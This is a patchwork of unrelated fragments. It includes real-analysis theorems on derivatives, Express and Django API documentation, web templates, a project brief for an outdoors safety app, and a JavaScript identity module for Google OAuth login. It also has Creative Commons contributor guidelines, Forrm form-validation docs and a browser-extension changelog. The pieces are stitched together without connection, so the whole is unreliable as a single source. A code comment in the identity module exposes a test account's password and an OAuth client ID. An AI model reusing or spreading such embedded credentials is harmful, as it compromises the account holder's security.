--- title: "[Understanding Analysis by Stephen Abbott] - [Chapter 5 The Derivatives] - [5.2 Derivatives and the Intermediate Value Property]" published: true tags: RealAnalysis ---
Definition 5.2.1 (Differentiability) Let \(g : A \to \mathbb{R}\) be a function defined on an interval \(A\). Given \(c \in A\), the derivative of \(g\) at \(c\) is defined by $$ g^\prime(c) = \lim_{x \to c}\frac{g(x) - g(c)}{x - c} $$ provided this limit exists. In this case, we say \(g\) is differentiable at \(c\) if \(g^\prime\) exists for all points \(c \in A\), we say that \(g\) is differentiable on \(A\)
Theorem 5.2.3. If \(g : A \to \mathbb{R}\) is differentiable at a point \(c \in A\), then \(g\) is continuous at \(c\) as well.
Theorem 5.2.4 (Algebraic Differentiability Theorem).
Let \(f\) and \(g\) be functions defined on an interval \(A\), and assume
both are differentiable at some point \(c \in A\). Then,
Theorem 5.2.5 (Chain Rule). Let \(f : A \to \mathbb{R}\) and \(g : B \to \mathbb{R}\) satisfy \(f(A) \subseteq B\) so that the composition of \(g \circ f\) is defined. If \(f\) is differentiable at \(c \in A\) and \(g\) is differentiable at \(f(c) \in B\), then \(g \circ f\) is differentiable at \(c\) with \((g \circ f)^\prime(c) = g^\prime(f(c)) \cdot f^\prime(c)\)
Theorem 5.2.6 (Interior Extremum Theorem). Let \(f\) be differentiable on an open interval \((a, b).\) if \(f\) attains a maximum value at some point \(c \in (a, b)\), then \(f^\prime(c) = 0\). The same is true if \(f(c)\) is a minimum value.
Theorem 5.2.7 (Darboux's Theorem). If \(f\) is differentiable on an interval \([a, b]\), and if \(\alpha\) satisfies \(f^\prime(a) < \alpha < f^\prime(b)\), then there exists a point \(c \in (a, b)\) where \(f^\prime(c) = \alpha\)


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Hello DBC! This is the index of my blog. It looks very bare-bones at the moment, but I will be sure to go all out in the coming weeks.
Check out my favorite sites!
My expectations of Dev Bootcamp
Wireframing


Request
The req
object is an enhanced version of Node’s own request
object and supports all
built-in fields and methods.
{% include api/en/3x/req-params.md %}
{% include api/en/3x/req-query.md %}
{% include api/en/3x/req-body.md %}
{% include api/en/3x/req-files.md %}
{% include api/en/3x/req-param.md %}
{% include api/en/3x/req-route.md %}
{% include api/en/3x/req-cookies.md %}
{% include api/en/3x/req-signedCookies.md %}
{% include api/en/3x/req-header.md %}
{% include api/en/3x/req-accepts.md %}
{% include api/en/3x/req-accepted.md %}
{% include api/en/3x/req-is.md %}
{% include api/en/3x/req-ip.md %}
{% include api/en/3x/req-ips.md %}
{% include api/en/3x/req-path.md %}
{% include api/en/3x/req-host.md %}
{% include api/en/3x/req-fresh.md %}
{% include api/en/3x/req-stale.md %}
{% include api/en/3x/req-xhr.md %}
{% include api/en/3x/req-protocol.md %}
{% include api/en/3x/req-secure.md %}
{% include api/en/3x/req-subdomains.md %}
{% include api/en/3x/req-originalUrl.md %}
{% include api/en/3x/req-acceptedLanguages.md %}
{% include api/en/3x/req-acceptedCharsets.md %}
{% include api/en/3x/req-acceptsCharset.md %}
{% include api/en/3x/req-acceptsLanguage.md %}


Module that manage the interaction with a models.Project resource
Avoid that a user can edit a project he doesn’t own
Avoid that a user vote a project he own or in which he collaborate
Manage the Collaborators associated to the project
Upload a photo to Flickr
Manage the Material associated to the project
See also
Manage a Project (both for creation and editing)
See also
Post audio to Tumblr
Post chat to Tumblr
Post link to Tumblr
Post photo to Tumblr
Post quote to Tumblr
Post text to Tumblr
Model for Material objects, that contains reference to external resources related to a app_projects.models.Project
| Description : | detailed description of the project |
|---|---|
| Tumblr : | name of the connected Tumblr blog, if any |
| Flickr : | id of the connected Flickr photoset, if any |
| Youtube1 : | id of a youtube video, if any |
| Youtube2 : | id of a youtube video, if any |
Upload a photo to Flickr and add it to the connected photoset
Fetch most recent photos from the connected photoset
| Returns: | a list of photos |
|---|
Getter for the public url of the connected photoset
| Returns: | the public accessible url of the connected photoset |
|---|
Getter for the TumblrClient
| Returns: | a TumblrClient with authentication permission |
|---|
Getter for the description of the project
| Returns: | a string containing the detailed description of the project |
|---|
Post audio to Tumblr
Post chat to Tumblr
Post link to Tumblr
Post photo to Tumblr
Post quote to Tumblr
Post text to Tumblr
Fetch most recent posts from the connected blog
| Returns: | a list of blog posts |
|---|
Return a wrapper for a Material object, i.e. a dictionary with elem=true if the project has that piece of material
Getter for the ids of the Youtube videos
Model for a Project, one of the main resources
| Owner : | app_users.models.UserProfile that own the project |
|---|---|
| Category : | the Category which the project belongs |
| Title : | title of the project |
| Summary : | short summary of the project |
| Start_date : | date in which the project was started |
| End_date : | date in which the project ended, if empty still ongoing |
| Website : | external website of the project |
| Material : | app_projects.models.Material connected to the project |
Check if the current user can unvote (must have voted before)
Check if the current user can vote (must not have voted before)
Delete the collaborators with the specified username
Delete all the collaborations relationships
Delete all the connected material
Return a tuple of category id and category name
Return the complete name of the category
Fetch all the collaborators of the project
Fetch all the collaborators of the project, and return their wrappers
Return the Material object connected to the project
Return a wrapper around all the extra-informations stored in the connected Material
Return the wrapper of the Material object connected to the project
Getter for the owner
Getter for the wrapper of the owner
Return the number of votes obtained from the project
Remove a vote from the project
Add a vote to the project
Return a wrapper for a Project object, i.e. a dictionary containing all the data
Model for a Collaboration, a many-to-many relationship between projects (app_projects.models.Project) and users (app_users.models.UserProfile)
| Project : | the project of interest |
|---|---|
| Userprofile : | the users that collaborates to the project |
| Date_joined : | date in which the collaborator joined the project |
Return a wrapper for a Collaborations object, i.e. a dictionary containing the wrappers of the involved objects
Model for a Vote, a many-to-many relationship between projects (app_projects.models.Project) and users (app_users.models.UserProfile)
| Project : | the project of interest |
|---|---|
| Users : | the users that have voted the project |
View that manage access to the service that handles projects
| Supported_formats : | |
|---|---|
| html, json | |
| Template_path : | path to html files |
List all projects grouped by Category
| Rest Types: | GET |
|---|---|
| Url : | ^category(?:/$|.(html|json)$) |
Note
accessible also to non-registered users
List all projects grouped by the range of Votes
| Rest Types: | GET |
|---|---|
| Url : | ^votes(?:/$|.(html|json)$) |
Note
accessible also to non-registered users
Remove collaborator from a project
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | POST |
| Url : | ^(?P<id>[0-9]+)/collaborators/delete/(?P<username>\w+)(?:/$|.(html|json)$) |
Manage collaborators of the project (add/remove)
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/collaborators(?:/$|.(html|json)$) |
Receive data from the form of new() and create the new project
| Decorators : | rest_login_required |
|---|---|
| Rest Types: | POST |
| Url : | ^(?:$|index.(html|json)$) |
Destroy a project and all the connected data
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, DELETE |
| Url : | ^(?P<id>[0-9]+)/destroy(?:/$|.(html|json)$) |
Edit the basic informations of a project
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | '^(?P<id>[0-9]+)/edit(?:/$|.(html|json)$) |
Post a new photo to the connected Flickr photoset
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/flickr/add(?:/$|.(html|json)$) |
List all projects in alphabetical order
| Rest Types: | GET |
|---|---|
| Url : | ^(?:$|index.(html|json)$) |
Note
accessible also to non-registered users
List all projects belonging to the category specified
| Rest Types: | GET |
|---|---|
| Url : | ^category/(?P<category>\w+)(?:/$|.(html|json)$) |
Note
accessible also to non-registered users
List all projects with a number of votes belonging to the range specified
| Rest Types: | GET |
|---|---|
| Url : | ^votes/(?P<min_votes>[0-9]+)/(?P<max_votes>[0-9]+)(?:/$|.(html|json)$) |
Note
accessible also to non-registered users
Manage the Material connected to the project (add/edit/remove)
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/material(?:/$|.(html|json)$) |
Render the form for create a new project
| Decorators : | rest_login_required |
|---|---|
| Rest Types: | GET |
| Url : | ^new(?:/$|.(html|json)$) |
Replace the basic informations of a project
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | PUT |
| Url : | ^(?P<id>[0-9]+)(?:/$|.(html|json)$) |
Show a app_projects.models.Project with all its informations
standard informations
material: connected app_projects.models.Material object
owner
collaborators
- privileges of the current users
- is_owner: True if the user is the owner
- is_collaborator: True if the user is a collaborator
- can_vote: True if the user can vote the project
- can_unvote: True if the user can un-vote the project
| Rest Types: | GET |
|---|---|
| Url : | ^(?P<id>[0-9]+)(?:/$|.(html|json)$) |
Note
accessible also to non-registered users
Post an audio blogpost to the connected Tumblr blog
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/tumblr/audio(?:/$|.(html|json)$) |
Post a chat blogpost to the connected Tumblr blog
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/tumblr/chat(?:/$|.(html|json)$) |
Post a link blogpost to the connected Tumblr blog
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/tumblr/link(?:/$|.(html|json)$) |
Post a photo blogpost to the connected Tumblr blog
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/tumblr/photo(?:/$|.(html|json)$) |
Post a quote blogpost to the connected Tumblr blog
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/tumblr/quote(?:/$|.(html|json)$) |
Post a text blogpost to the connected Tumblr blog
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | GET, POST |
| Url : | ^(?P<id>[0-9]+)/tumblr/text(?:/$|.(html|json)$) |
If the user can un-vote (he is not connected to the project, and he has already voted for it), then delete the Vote
| Decorators : | rest_login_required, no_conflict_of_interests |
|---|---|
| Rest Types: | POST |
| Url : | ^(?P<id>[0-9]+)/unvote(?:/$|.(html|json)$) |
Update the basic informations of a project
| Decorators : | rest_login_required, must_be_owner |
|---|---|
| Rest Types: | PATCH |
| Url : | ^(?P<id>[0-9]+)(?:/$|.(html|json)$) |
If the user can vote (he is not connected to the project, and he has not already voted for it), then create a new Vote
| Decorators : | rest_login_required, no_conflict_of_interests |
|---|---|
| Rest Types: | POST |
| Url : | ^(?P<id>[0-9]+)/vote(?:/$|.(html|json)$) |


This example demonstrates that 3-dimensional line force elements (here: Modelica.Mechanics.MultiBody.Forces.Spring elements) can be connected together in series without having a body with mass at the connection point (as usually required by multi-body programs). This is advantageous since stiff systems can be avoided, say, due to a stiff spring and a small mass at the connection point.
For a more thorough explanation, see MultiBody.UsersGuide.Tutorial.ConnectionOfLineForces.


{{ level }} By {{ author }} on {{ frappe.format_date(creation) }} {{ content }} {{ _("More articles on {0}").format(category.name) }}
Comments
{% include 'templates/includes/comments/comments.html' %}


Each private hut sleeps 2-4 people, has ocean views, access to hiking trails and beaches. Please contact for prices.


PROJECT PROBLEM
There are many animals and plants that someone could find in the outdoors. So many that it's hard to find out which ones are potentially dangerous. With time someone could learn which ones are which, but in the early stages of outdoorsman ship it could be overwhelming. A great tool could be a single source that could: help identify which plants and animals are dangerous, what about them is dangerous, and how one should handle oneself when they encounter this specimen. Our application helps the user identify there location and the most commonly found plants and animals in their region.STAKEHOLDER ANALYSIS
People whom consider themselves outdoorsman such as: hikers, climbers, campers, fisherman, hunters, and survivalists would all be primary stakeholders. Other primary stakeholders would include emergency care facilities.PROJECT TIMELINE
CONCEPTUAL DESIGN
TEAM
Kayleigh Mccabe


src/identity/IdentityModule.js
import hello from 'hellojs';
/**
*
* The Identity Module (Id Module) is the component responsible for handling the
* user identity and the association of this identity with the Hyperty instances,
* in order to make Hyperty instances identifiable. The identity in the reTHINK project
* is not fixed to a unique Identity Service Provider, but obtained through several
* different Identity sources. With this approach, the Id Module provides to the user the
* option to choose the preferred method for authentication.
* This module will thus able to support multiple Identity acquisition methods,
* such as OpenID connect 1.0, Kerberos System, or authentication through smart cards.
* For example, a user with a Google account can use the Google as an Identity Provider to provide Identity Tokens,
* which can be used by the Identity Module to associate it with a Hyperty instance.
*
* The Identity Module uses a node package, the HelloJS, which is a client-side JavaScript API for authentication
* that facilitates the requests for the OpenID connect protocol. This method allows for some abstraction
* when making requests for different Identity Providers, such as OpenID connect used by Google, Facebook, Microsoft, for example.
*
* When a request for a user identity is made using the method loginWithRP(identifier, scope),
* this method will analyse the Identity Provider chosen to obtain an identity and will use the HelloJS node package
* with the selected Identity Provider and identity scope. After the HelloJS request for an Access Token
* to the Identity Providers, the user will be prompted to authenticate towards the Identity Provider.
* Upon receiving the Access Token, this token is validated with a RESTful web service request to an endpoint
* on the Identity Provider Authorization Server, and after the validation is done,
* an ID token is obtained with the information according to the scope required.
* This ID token is then preserved in this module that can obtained through the getIdentities()
* and is passed as return value of the loginWithRP function. The methods generateAssertion and validateAssertion have not yet been developed.
*
*/
class IdentityModule {
/**
* This is the constructor to initialise the Identity Module it does not require any input.
*/
constructor() {
let _this = this;
//to store items with this format: {identity: identityURL, token: tokenID}
_this.identities = [];
}
/**
* Register a new Identity with an Identity Provider
*/
registerIdentity() {
// Body...
}
/**
* In relation with a classical Relying Party: Registration
*/
registerWithRP() {
// Body...
}
/**
* Function to return all the identities registered within a session by a user.
* These identities are returned in an array containing a JSON package for each user identity.
* @return {Array<Identities>} Array Identities
*/
getIdentities() {
let _this = this;
return _this.identities;
}
/**
* Function to request an ID Token from a user. If no token exists, the Identity Module
* will try to obtain one from an Identity Provider, and the user will be asked to authenticate
* towards the Identity Provider.
* The function returns a promise with a token containing the user information.
*
* @param {Identifier} identifier identifier
* @param {Scope} scope scope
* @return {Promise} Promise IDToken containing the user information
*/
loginWithRP(identifier, scope) {
let _this = this;
/*
When calling this function, if everything is fine, a small pop-up will open requesting a login with a google account. After the login is made, the pop-up will close and the function will return the ID token.
This function was tested with the URL: http://<IP_ADDRESS>:8080/ and with the same redirect URI
In case the redirect URI is not accepted or is required to add others redirect URIs, a little information is provided to fix the problem:
So that an application can use Google's OAuth 2.0 authentication system for user login,
first is required to set up a project in the Google Developers Console to obtain OAuth 2.0 credentials and set a redirect URI.
A test account was created to set the project in the Google Developers Console to obtain OAuth 2.0 credentials, with the following credentials:
username<EMAIL_ADDRESS>password: testOpenID10
To add more URI's, follow the steps:
1º choose the project ( can be the My OpenID Project) from https://console.developers.google.com/projectselector/apis/credentials using the credentials provided above.
2º Open The Client Web 1 listed in OAuth 2.0 Client ID's
3º Add the URI in the authorized redirect URI section.
4º change the REDIRECT parameter bellow with the pretended URI
identityModule._hello.init({google: "808329566012-tqr8qoh111942gd2kg007t0s8f277roi.apps.googleusercontent.com"});
identityModule._hello("google").login();
*/
let VALIDURL = 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=';
let USERINFURL = 'https://www.googleapis.com/oauth2/v1/userinfo?access_token=';
let acToken;
let tokenType;
let expiresIn;
let user;
let tokenID;
let infoToken;
let loggedIn = false;
return new Promise(function(resolve, reject) {
if (_this.infoToken !== undefined) {
//TODO verify whether the token is still valid or not.
return resolve(_this.infoToken);
}
//function to validate the access token received during the authentication
function validateToken(token) {
let req = new XMLHttpRequest();
req.open('GET', VALIDURL + token, true);
req.onreadystatechange = function(e) {
if (req.readyState == 4) {
if (req.status == 200) {
getInfoToken(token);
} else if (req.status == 400) {
reject('There was an error processing the token');
} else {
reject('something else other than 200 was returned');
}
}
};
req.send();
}
//function to exchange the access token with an ID Token containing the information
function getInfoToken(token) {
let req = new XMLHttpRequest();
req.open('GET', USERINFURL + token, true);
req.onreadystatechange = function(e) {
if (req.readyState === 4) {
if (req.status === 200) {
infoToken = JSON.parse(req.responseText);
_this.infoToken = infoToken;
let email = infoToken.email;
//contruct the identityURL to be defined as in specification
// model: user://<idpdomain>/<user-identifier>
let identityURL = 'user://' + email.substring(email.indexOf('@') + 1, email.length) + '/' + email.substring(0, email.indexOf('@'));
//TODO remove later the 'token' field key
let identityBundle = {identity: identityURL, token: infoToken, accessToken: token, idToken: {}, infoToken: infoToken};
getIDToken(token, identityBundle);
} else if (req.status === 400) {
reject('There was an error processing the token');
} else {
reject('something else other than 200 was returned');
}
}
};
req.send();
}
function getIDToken(token, identityBundle) {
let req = new XMLHttpRequest();
req.open('GET', VALIDURL + token, true);
req.onreadystatechange = function(e) {
if (req.readyState === 4) {
if (req.status === 200) {
tokenID = JSON.parse(req.responseText);
identityBundle.idToken = tokenID;
_this.identities.push(identityBundle);
resolve(identityBundle.token);
} else if (req.status === 400) {
reject('There was an error processing the token');
} else {
reject('something else other than 200 was returned');
}
}
};
req.send();
}
hello.init({google: '808329566012-tqr8qoh111942gd2kg007t0s8f277roi.apps.googleusercontent.com'});
hello('google').login({scope: 'email'}).then(function(token) {
validateToken(token.authResponse.access_token);
}, function(error) {
console.log('errorValidating ', error);
reject(error);
});
});
}
/**
* In relation with a Hyperty Instance: Associate identity
*/
setHypertyIdentity() {
// Body...
}
/**
* Generates an Identity Assertion
*
* @param {DOMString} contents contents
* @param {DOMString} origin origin
* @param {DOMString} usernameHint usernameHint
* @return {IdAssertion} IdAssertion
*/
generateAssertion(contents, origin, usernameHint) {
// Body...
}
/**
* OTHER USER'S IDENTITY
*/
/**
* Function to validate an identity assertion generated previously.
* Returns a promise with the result from the validation.
* @param {DOMString} assertion
* @return {Promise} Promise promise with the result from the validation
*/
validateAssertion(assertion) {
// Body...
}
/**
* Trust level evaluation of a received IdAssertion
* @param {DOMString} assertion assertion
*/
getAssertionTrustLevel(assertion) {
// Body...
}
}
export default IdentityModule;


Components
Save time with reusable, accessible components for data, navigation, panels, tables and more.
GOVUK
Reuse the GOVUK components. We have ported them from nunjucks to jinja so they will work with Python.
Templates
Build on the page templates used across the digital land site. These templates are written in jinja and can be extended.


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Post-Announcement
Contributor announcements have been made and you've been selected!
Congratulations! Here's what we expect you to do before the work program
officially starts:
- Continue to refine your project plan and timeline with your project lead.
- Define communication channels and set up a weekly check-in with your project
lead.
- Set up your computer and development environment.
- Familiarize yourself with the development process at Creative Commons (pull
requests, code review).
- Introduce yourself to the members of CC's engineering team.
Work Program Period
Once the work program starts, here's what we expect of you:
- For large projects: Work 30-40 hours per week (or agree on a different plan
with your mentor ahead of time).
- For medium projects: Work 15-20 hours per week (or agree on a different plan
with your mentor ahead of time).
- Push code to GitHub frequently. Commit early and often.
- Be available on Slack whenever you are working and post at least once a
(work)day to talk about what you're working on that day.
- Write a short update on your work every two weeks and post it to the CC
technical blog (instructions are here). To
get a sense of how these posts are written and how the projects evolved, you
can read entries done by previous Outreachy or Google
Summer of Code contributors.
- Attend your weekly check-in with your project lead and any other meetings.
- Be proactive about asking for help, especially when you're stuck.
- Ensure that you're on track to delivering your project at the end of the work
period. If you're not on track, talk with your mentor to come up with a new
plan for the project well before the deadline.
- Let your project lead and the organization admins know when you are going to
be unavailable. If something sudden comes up, let us know.
At all times
Follow our Code of Conduct.


{% load static %}
Login Form
Reset password
{% csrf_token %}
Enter your email address and we will send you a link to reset your password.
Send password reset email


Overview
Forrm is a javascript form validation library. It extends native browser HTML5 form validation to add more complex, customisable and consistent client-side validation.
It is designed to make HTML5 form validation as simple as possible with declarative, readable, easily maintainable, extensible, accessible, reusable code. It should be used in addition to robust server-side validation.
Basic Installation
The first step is to code an accessible form in HTML5, using appropriate elements and attributes. Field validation depends on the presence of the required attribute. To display inline errors Forrm expects each label-input pair to be wrapper in a container, such as a div or li.
//Create an HTML5 form
<form action="/search" method="post">
<div class="forrm-row">
<label for="search-field">Search*
<input type="search" id="search-field" name="search-field" placeholder="Your search terms..." value="" aria-required="true" required>
</div>
<input type="submit" value="Search">
</form>
Forrm has no dependencies so to add it to a HTML page, just include the Forrm script (either the lite or full version) and create an instance with the selectors you need. Any selector that plays nicely with document.querySelectorAll works. In code that would look like:
//Get the Forrm script
<script src="js/forrm.js"></script>
//Pass a selector to Forrm constructor
<script>
Forrm.init("form");
</script>
This would add the Forrm validation wrapper with default options to all forms in the document. To apply different options to different forms in the document, simply instantiate the form with different options.
<script src="js/forrm.js"></script>
<script>
//two forms with the default options (displaying inline errors)
Forrm.init(".form-login, .form-subscribe");
//one form displaying the linked list of errors
Forrm.init(".form-contact", {listMessages: true});
</script>
Check out the examples.
Options
Forrm is highly configureable. Options are passed as the second argument to the Forrm constructor and are merged with the default options object. Any property can be set during instatiation.
| Property | Default | Description |
|---|---|---|
| augmentHTML | true | Turns Forrm on and off for browsers that support the constraintValidation API. If set to false, Forrm acts only to polyfill HTML5 form validation in older browsers |
| autocomplete | true | Allow autocomplete or not, if set to false autocomplete for the form disabled |
| Property | Default | Description |
|---|---|---|
| conditionalConstraint | false | An optional function that must evaluate to true or false to be used as a constraint for a disabled field or part of a form |
| customConstraint | false | An optional function that must evaluate to true or false to be used as a validation constraint after a value has passed the usual constraint validation |
| Property | Default | Description |
|---|---|---|
| css.prefix | 'forrm-' | Prefix for all CSS hooks added by the script |
| css.successClass | 'success' | Suffix for the CSS hook added to the parent element of valid fields |
| css.errorClass | 'error' | Suffix for the CSS hook added to the parent element of invalid fields |
| css.errorMessageClass | 'error-message' | Suffix for the CSS hook added to the inline error message |
| css.errorListClass | 'error-list' | Suffix for the CSS hook added to the error list container |
| css.disabledClass | 'disabled' | Suffix for the CSS hook used for the parent of disabled fields - for use in enabling/disabling |
| css.buttonClass | 'btn' | Suffix for the CSS hook added to the form step buttons |
| css.buttonNextClass | 'btn--submit' | Modifier CSS class added to the submit step button |
| css.buttonPreviousClass | 'btn--previous' | Modifier CSS class added to the previous step button |
| css.stepPrefix | 'step-' | Suffix for the CSS hook added to the form to reflect current step in a form. Step number is added to this suffix |
| css.stepPrefix | 'step-' | Suffix for the CSS hook added to the form to reflect current step in a form. Step number is added to this suffix |
| Property | Default | Description |
|---|---|---|
| displayMessages | true | Show error messages. If false, just add the element states and CSS hooks on validation. |
| customErrorMessage | false | Turn custom error messages on and off. In supported browsers error messages are returned based on the validityState set by the browser. Setting this to true overwrites the browser error messaages with those set in the options (see below). Non-HTML5 browsers always use custom error messages |
| firstErrorOnly | false | Display only the first validation error encountered, replicating the behaviour of native HTML5 form validation |
| listMessages | false | Write validation errors to a linked list at the top of the form rather than inline |
| listTitle | 'We couldn\'t submit the form, please check your answers:' | Title text for a linked list of error messages |
| errorMessageElement | 'span' | Element used for inline error messages |
| Property | Default | Description |
|---|---|---|
| errorMessages.text.valueMissing | 'This field is required' | Error message for null value in a textfield |
| errorMessages.text.patternMismatch | 'Match the requested format' | Error message for pattern mismatch value in a text input |
| errorMessages.url.valueMissing | 'This field is required' | Error message for null value in a url input |
| errorMessages.url.patternMismatch | 'Enter a valid URL' | Error message for pattern mismatch value in a url input |
| errorMessages.url.typeMismatch | 'Enter a valid URL' | Error message for mismatch based on the type attribute of a url input |
| errorMessages.search.valueMissing | 'This field is required' | Error message for null value in a search input |
| errorMessages.search.patternMismatch | 'This field is required' | Error message for pattern mismatch value in a search input |
| errorMessages.email.valueMissing | 'This field is required' | Error message for null value in an email input |
| errorMessages.email.patternMismatch | 'Enter a valid email address' | Error message for pattern mismatch value in an email input |
| errorMessages.email.typeMismatch | 'Enter a valid email address' | Error message for mismatch based on the type attribute of an email input |
| errorMessages.password.valueMissing | 'This field is required' | Error message for null value in a password input |
| errorMessages.password.patternMismatch | 'Enter a valid password' | Error message for pattern mismatch value in a password input |
| errorMessages.tel.valueMissing | 'This field is required' | Error message for null value in a tel input |
| errorMessages.tel.patternMismatch | 'Enter a valid phone number' | Error message for pattern mismatch value in a tel input |
| errorMessages.select.valueMissing | 'Choose an option' | Error message for null value in a select element |
| errorMessages.checkbox.valueMissing | 'Check at least one of the required boxes' | Error message for null value in a checkbox group |
| errorMessages.radio.valueMissing | 'Select one of the required radio options' | Error message for null value in a radio button group |
| errorMessages.number.valueMissing | 'This field is required' | Error message for null value in a number input |
| errorMessages.number.patternMismatch | 'Enter a valid number' | Error message for pattern mismatch in a number input |
| errorMessages.number.typeMismatch | 'Enter a valid number' | Error message for pattern mismatch in a number input |
| errorMessages.file.valueMissing | 'Choose a file' | Error message for null value in a file input |
| errorMessages.group.valueMissing | 'One of these fields is required' | Error message for null value in a custom group of inputs |
| errorMessages.group.patternMismatch | 'One of these fields is required' | Error message for pattern mismatch in a custom group of inputs |
| Property | Default | Description |
|---|---|---|
| fail | false | Function called after errors are displayed on form validation failure |
| pass | false | Function called instead of form submission on form validation success |
| Property | Default | Description |
|---|---|---|
| pattern.email | '[a-z0-9!#$%&\'*+/=?^_`{|}~-]+(?:.[a-z0-9!#$%&\'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?' | Pattern against which email input values are matched |
| pattern.tel | '[\\w\\d\\s\\(\\)\\.+-]+' | Pattern against which tel input values are matched |
| pattern.number | '[\\d]+' | Pattern against which number input values are matched |
The default options object looks like:
{
augmentHTML5 : true,
autocomplete : true,
css : {
prefix: 'forrm-',
successClass : 'success',
errorClass : 'error',
errorMessageClass : 'error-message',
errorListClass : 'error-list',
disabledClass : 'disabled',
buttonClass : 'btn',
buttonNextClass : 'btn--submit',
buttonPreviousClass : 'btn--previous',
stepPrefix : 'step-'
},
displayMessages : true,
customErrorMessage : false,
firstErrorOnly : false,
listMessages : false,
listTitle : 'We couldn\'t submit the form, please check your answers:',
errorMessageElement : 'span',
errorMessages : {
'text': {
'valueMissing' : 'This field is required',
'patternMismatch' : 'Match the requested format'
},
'url': {
'valueMissing' : 'This field is required',
'patternMismatch' : 'Enter a valid URL',
'typeMismatch' : 'Enter a valid URL'
},
'search': {
'valueMissing' : 'This field is required',
'patternMismatch' : 'Match the requested format'
},
'email': {
'valueMissing' : 'This field is required',
'patternMismatch' : 'Enter a valid email address',
'typeMismatch' : 'Enter a valid email address'
},
'password': {
'valueMissing' : 'This field is required',
'patternMismatch' : 'Enter a valid password'
},
'tel': {
'valueMissing' : 'This field is required',
'patternMismatch' : 'Enter a valid phone number'
},
'select': {
'valueMissing' : 'Choose an option'
},
'checkbox': {
'valueMissing' : 'Check at least one of the required boxes'
},
'radio': {
'valueMissing' : 'Select one of the required radio options'
},
'number': {
'valueMissing' : 'This field is required',
'patternMismatch' : 'Enter a valid number',
'typeMismatch' : 'Enter a valid number'
},
'file': {
'valueMissing' : 'Choose a file'
},
'group': {
'valueMissing' : 'One of these fields is required',
'patternMismatch' : 'Match the requested format one on of these fields'
}
},
fail : false,
pass : false,
conditionalConstraint : false,
customConstraint : false,
patterns : {
email : '[a-z0-9!#$%&\'*+/=?^_`{|}~-]+(?:.[a-z0-9!#$%&\'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?',
tel : '[\\w\\d\\s\\(\\)\\.+-]+',
number : '[\\d]'
}
}
Custom data attributes
Forrm also has a small set of declarative custom data attributes that can be added to form elements to add additional functionality
| Attribute | Description |
|---|---|
| data-forrm-group | Set a custom group of any element types, the value is the name of the group |
| data-forrm-group-min | Set the minimum required number of valid fields in a checkbox/radio or custom group |
| data-forrm-group-max | Set the maximim required number of valid fields in a checkbox/radio or custom group |
| data-forrm-conditional | Add to a field to enable another part of the form. The value is the class of an element that is the parent of disabled fields and, if passed as an option, the name of a function evaluating a custom constraint as true or false used as the condition on which the consequent form part is enabled. |
| data-forrm-custom-constraint | The name of a function set in the options that evaluates a custom constraint return ing an empty string if it passed the constraint, or an error message string if not. The field on which this attribute is declared is validated against the function after the native type-based constraints are evaluated. |
| data-forrm-custom-error | A custom error that is returned when constraint validation fails |


Highlighty is still in Beta Testing!
Highlighty is
open-source and you
can contribute!
Notes:
- Highlighty has two modes: Manual and Auto.
- Manual: Extension button highlights phrases in tab.
- Auto: Extension button toggles auto-highlight. Phrases should get automatically
highlighted.
- A green icon indicates Auto-Highlight is toggled
on.
- A yellow icon indicates the tab was manually
highlighted.
- A blue icon indicates that highlighting is off.
- A red icon indicates Auto-Highlight is off because of
the URL Denylist and can be manually toggled on.
- If Highlighty fails to work, try refreshing or reinstalling with the latest update!
- If you have small phrases ("an"), they may take priority over large phrases
("anteater") in your list with Partial Phrase Matching turned on.
- Highlighty might not work on every website. If you encounter any bugs or have any
suggestions,
please contact me!
v1.2 January, 24, 2022:
- Added Bulk Export functionality, which turns your existing lists into an exportable JSON
- Added Bulk Import functionality with types: "Import as new list", "Import and merge lists", and "Replace existing lists".
v1.1.4 January, 14, 2022:
- Added editing of existing lists' colors (click the circular button next to the name!)
- Minor styling changes to options (removing "List" from each list section)
- Revised settings to use better terminology
v<IP_ADDRESS> - March 10, 2020:
- Revise highlighting logic again to undo catching whitespace around words, oops.
v<IP_ADDRESS> - March 6, 2020:
- Change default settings: partial phrase matching and mouseover for phrase list title
are now false.
v1.1.3 - March 6, 2020:
- Fix highlighting logic to catch phrases in "span" and not in "script" or "textarea" or
"head" tags
v1.1.2 - Jan 20, 2020:
- Added URL allowlist
- Revise UI: update styling and move auto-highlight to its own settings set
- Improve Auto-Highlight to catch more subsequent updates
v1.1.1 - Jan 13, 2020:
- Vastly improved performance by revising underlying words search algorithm, with help
from
Hilitor!
v1.1.0 - Jan 8, 2020:
- Fixed build-breaking bug for auto-highlight and sometimes regular highlight
- Improved performance by revising highlighting methodology
- Added color picker component to list color input (thanks to Sphinxxxx/vanilla-picker!)
- Made highlighter text color turn black instead of white if background color is too
light
v1.0.6 - Oct 30, 2018:
- Added exporting functionality for Line & Space-delimited lists
- Added auto-highlighter denylist functionality
v1.0.5 - Oct 23, 2018:
- Renamed and improved updates (now info) page to include instructions
